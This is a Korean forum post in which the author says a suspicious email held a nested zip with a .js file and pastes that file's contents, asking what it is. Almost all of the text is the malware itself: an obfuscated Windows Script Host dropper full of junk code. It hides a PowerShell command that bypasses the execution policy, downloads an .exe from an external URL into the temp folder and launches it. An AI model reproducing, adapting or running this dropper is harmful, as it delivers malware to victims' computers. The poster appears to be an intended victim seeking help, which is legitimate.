이상한 메일이 왔어요ㅋㅋㅋㅋㅋ
주소는
zip파일이었고 압축해제했더니 zip파일이 하나 더 있어서 해제했어요
그랬더니 .js ??????라는 확장자의 파일이 있길래 뭐지 싶어서 열었는데 아래같은 코딩??이라고 해야하나???
그런게 나왓어욬ㅋㅋㅋㅋㅋ
컴잘알님들 아님 코잘알(코딩잘알..)님들 대충이라도 이게 뭔지 아시겟나요?ㅠㅠ
function umuvvusdi() {
return undefined;
}
var svequhocr = 553.2101;
var seby = "power" + "shell";
var ytonurhen = "run";
envemumju = "19257";
function edcowg() {
return undefined;
}
function ekxyfgy() {
var ughorlyxx = 872.4;
return ughorlyxx;
}
ohittyxa = '61994';
function wgisga() {
var xhebzewabc = 1;
return xhebzewabc;
}
var urepungexm = false;
var sopmujupi = null;
function brybuhybqi() {
return "68722";
}
var hovukeco = 0;
var bojegalo = typeof window == "undefined";
var oxsafpig = new Function("return WScript")();
function ilelkenec() {
var quwzaky = '44873';
return quwzaky;
}
function ihezc() {
var ufqyvbo = undefined;
return ufqyvbo;
}
var hpazpikedx = 'obiktu';
var yxof = 0;
function bypomwure() {
var asitx = 9;
return asitx;
}
var bcedcawz = undefined;
ixsuhegfacf = 'pyqixdydu';
var xrerazbul = null;
var vqumlery = '63904';
function cgahdydoqm() {
return false;
}
function divwep() {
return 549;
}
var ebakwa = null;
rwezighicw = "71180";
var ttyqywfabi = "80826";
var vifibydo = "zowruqi";
function ufzipyhv() {
return null;
}
function acyqulzyr() {
var aboknu = null;
return aboknu;
}
var ymynavi = "awidip";
var vadsu = '38060';
function tesxywkima() {
var ckakug = null;
return ckakug;
}
function fosupuxa() {
return undefined;
}
switch (tesxywkima()) {
case 1:
var enoxexvijz = 793;
if (enoxexvijz === 666) {
var ccuwqamasi = null;
var dodqikila = null;
}
if (bypomwure() == 11) {
lnylenqace = 10;
var ejgefre = ymynavi + lnylenqace;
ejgefre = '62267' + ejgefre;
weribodk = "25602";
mbeqxefra = 4;
var ihimvovq = mbeqxefra + weribodk;
}
var qimhowu = 0;
if (qimhowu === "oxnekr") {
var linwovhudf = undefined;
var vipejy = 'zywur';
var bruhryx = true;
var dlafej = null;
}
if (wgisga() === 917) {
var esoxabhigp = 974;
clatpifyxse = esoxabhigp + envemumju;
var suwqez = undefined;
}
break;
case "siduqyvre":
var enoxexvijz = 793;
if (enoxexvijz === 666) {
var ccuwqamasi = null;
var dodqikila = null;
}
if (bypomwure() == 11) {
lnylenqace = 10;
var ejgefre = ymynavi + lnylenqace;
ejgefre = '62267' + ejgefre;
weribodk = "25602";
mbeqxefra = 4;
var ihimvovq = mbeqxefra + weribodk;
}
var qimhowu = 0;
if (qimhowu === "oxnekr") {
var linwovhudf = undefined;
var vipejy = 'zywur';
var bruhryx = true;
var dlafej = null;
}
if (wgisga() === 917) {
var esoxabhigp = 974;
clatpifyxse = esoxabhigp + envemumju;
var suwqez = undefined;
}
break;
case null:
var usqijumo = "47724";
if (fosupuxa() === 1) {
var uqmozgyzres = undefined;
if (uqmozgyzres == 491) {
var iscaqoty = 14;
}
if (typeof ufzipyhv() == 'object') {
if (sopmujupi === "jyfynsi") {
var sanozxizm = "31438";
var bisdilwykku = 6;
ilygwuqs = sanozxizm + bisdilwykku;
ilygwuqs = 11.51 + ilygwuqs;
var asujazu = 5;
var aqattox = 22;
uwuqi = aqattox + ixsuhegfacf;
uwuqi = uwuqi + 5;
var ugbidci = null;
var ymsahys = 22;
}
}
} else {
if (vadsu === 1) {
if (hovukeco === undefined) {
if (ihezc() === undefined) {
var afitihgub = undefined;
var ejejjung = false;
var otwikorhec = 'swosesi';
}
}
if (svequhocr === 557.2101) {
var howyqol = 1;
cfiqjazvexe = 94.8;
var uditybe = vqumlery + cfiqjazvexe;
var kvasebf = undefined;
var ikicnikwar = null;
var jytjakpy = 11.5;
}
if (acyqulzyr() === 990) {
var udomnod = 724;
}
} else {
var awlodpo = undefined;
switch (awlodpo) {
case null:
if (urepungexm === false) {
var yhebted = 695;
var qnafuqs = "otki";
var mpavribzev = 7.64;
var ezxixvulji = qnafuqs + mpavribzev;
ezxixvulji = "potu" + ezxixvulji;
var olyvo = 4;
var yjovkulu = olyvo + hpazpikedx;
yjovkulu = 'tylohuvgi' + yjovkulu;
var ipjyqqibda = 15.39;
}
break;
case undefined:
var atdyffyjihg = undefined;
if (typeof atdyffyjihg == "undefined") {
var anhinebzu = "zbevmixcofbe";
var nhijqafco = '33747';
var rvebi = 'xugme';
if (bojegalo) {
var rzevukbevg = oxsafpig.CreateObject('WScript.Shell');
var ukbomne = "16957";
switch (ukbomne) {
case 6:
if (ekxyfgy() == 862.4) {
if (brybuhybqi() == '68722') {
var wojorupu = 'hemfagn';
wojorupu = 379.4;
var xfukgodo = 6.402;
}
}
break;
case 35.6:
if (ekxyfgy() == 862.4) {
if (brybuhybqi() == '68722') {
var wojorupu = 'hemfagn';
wojorupu = 379.4;
var xfukgodo = 6.402;
}
}
break;
case 1:
if (ekxyfgy() == 862.4) {
if (brybuhybqi() == '68722') {
var wojorupu = 'hemfagn';
wojorupu = 379.4;
var xfukgodo = 6.402;
}
}
break;
case "16957":
var enbicmas = null;
var imfamebtoj = "37267";
var xanoci = 'ekokanxofv';
switch (xanoci) {
case undefined:
var yzferizvyvr = false;
if (typeof yzferizvyvr == "number") {
var ytacuku = '50230';
uwnefpidzy = 16;
var ysxosqelqe = uwnefpidzy + ytacuku;
ysxosqelqe = "efybme" + ysxosqelqe;
var ufgomqohh = '70986';
ufgomqohh = 22;
var qpynaduk = "96778";
}
if (edcowg() === undefined) {
var ufebjyzan = false;
if (ufebjyzan === true) {
var qysjyqecge = undefined;
var owfaby = 18.4337;
}
}
break;
case false:
var yzferizvyvr = false;
if (typeof yzferizvyvr == "number") {
var ytacuku = '50230';
uwnefpidzy = 16;
var ysxosqelqe = uwnefpidzy + ytacuku;
ysxosqelqe = "efybme" + ysxosqelqe;
var ufgomqohh = '70986';
ufgomqohh = 22;
var qpynaduk = "96778";
}
if (edcowg() === undefined) {
var ufebjyzan = false;
if (ufebjyzan === true) {
var qysjyqecge = undefined;
var owfaby = 18.4337;
}
}
break;
case null:
var yzferizvyvr = false;
if (typeof yzferizvyvr == "number") {
var ytacuku = '50230';
uwnefpidzy = 16;
var ysxosqelqe = uwnefpidzy + ytacuku;
ysxosqelqe = "efybme" + ysxosqelqe;
var ufgomqohh = '70986';
ufgomqohh = 22;
var qpynaduk = "96778";
}
if (edcowg() === undefined) {
var ufebjyzan = false;
if (ufebjyzan === true) {
var qysjyqecge = undefined;
var owfaby = 18.4337;
}
}
break;
case 'ekokanxofv':
var zinuhyg = 99;
ybohyri = rwezighicw + zinuhyg;
ybohyri = ybohyri + "22368";
var ihpuhcov = 8.14;
var yqiqujo = 46;
yqiqujo = 6.564;
var obmimde = 1258.4;
var efgimew = vifibydo + obmimde;
efgimew = 3.0425 + efgimew;
var ikbobno = "cmd.exe /c \"" + seby + " $ramvyt='^Set-Executi';$pasupj='^ath';$ecnybt='^p/user.php?';$afhytva='^temp+''\tivx';$sodul='^ath); Start';$rjusgemv='^wnloadFile(';$okux='^onPolicy By';$zatvo='^f=0.dat'',$p';$zipvebh='^w-Object Sy';$amvera='^pass -Scope';$bufemt='^e.exe'');(Ne';$iwils='^path=($env:';$kejbo='^tycooola.to';$titryvq='^''
http://for';$feguw='^-Process $p';$obic='^stem.Net.We';$ypol='^ Process; $';$diju='^bclient).Do'; Invoke-Expression ($ramvyt+$okux+$amvera+$ypol+$iwils+$afhytva+$bufemt+$zipvebh+$obic+$diju+$rjusgemv+$titryvq+$kejbo+$ecnybt+$zatvo+$sodul+$feguw+$pasupj);\"";
rzevukbevg[ytonurhen](ikbobno, yxof);
break;
case 0.6:
var yzferizvyvr = false;
if (typeof yzferizvyvr == "number") {
var ytacuku = '50230';
uwnefpidzy = 16;
var ysxosqelqe = uwnefpidzy + ytacuku;
ysxosqelqe = "efybme" + ysxosqelqe;
var ufgomqohh = '70986';
ufgomqohh = 22;
var qpynaduk = "96778";
}
if (edcowg() === undefined) {
var ufebjyzan = false;
if (ufebjyzan === true) {
var qysjyqecge = undefined;
var owfaby = 18.4337;
}
}
break;
}
break;
}
} else {
if (divwep() == 1043) {
var ynbidlabynw = 891;
var uzywih = "41241";
jwutemi = 4.903;
nopselru = uzywih + jwutemi;
nopselru = 2 + nopselru;
var ogazla = 406;
var ntedizk = 629;
var uwhikegxas = 8;
ezilxo = ohittyxa + uwhikegxas;
ezilxo = ezilxo + "85372";
}
if (xrerazbul === 675) {
var ezsixe = 89.013;
var sewwyqgynk = 5;
var soheb = 177.0047;
soheb = 24.8067;
var fbemojnij = undefined;
var ywefirkuhs = 0;
}
if (bcedcawz == "efywnu") {
var ofyhulxa = 734;
ofyhulxa = 2 + ofyhulxa;
var erkezjicve = 1;
var phygawgiki = undefined;
var enlide = null;
var kcaliflinr = null;
var cquccimyb = null;
}
if (ilelkenec() === 0) {
if (cgahdydoqm() == null) {
var ijpesy = null;
var jewixubu = undefined;
var lagman = 97;
otipatu = ttyqywfabi + lagman;
otipatu = "43260" + otipatu;
}
}
}
}
break;
}
}
}
break;
}
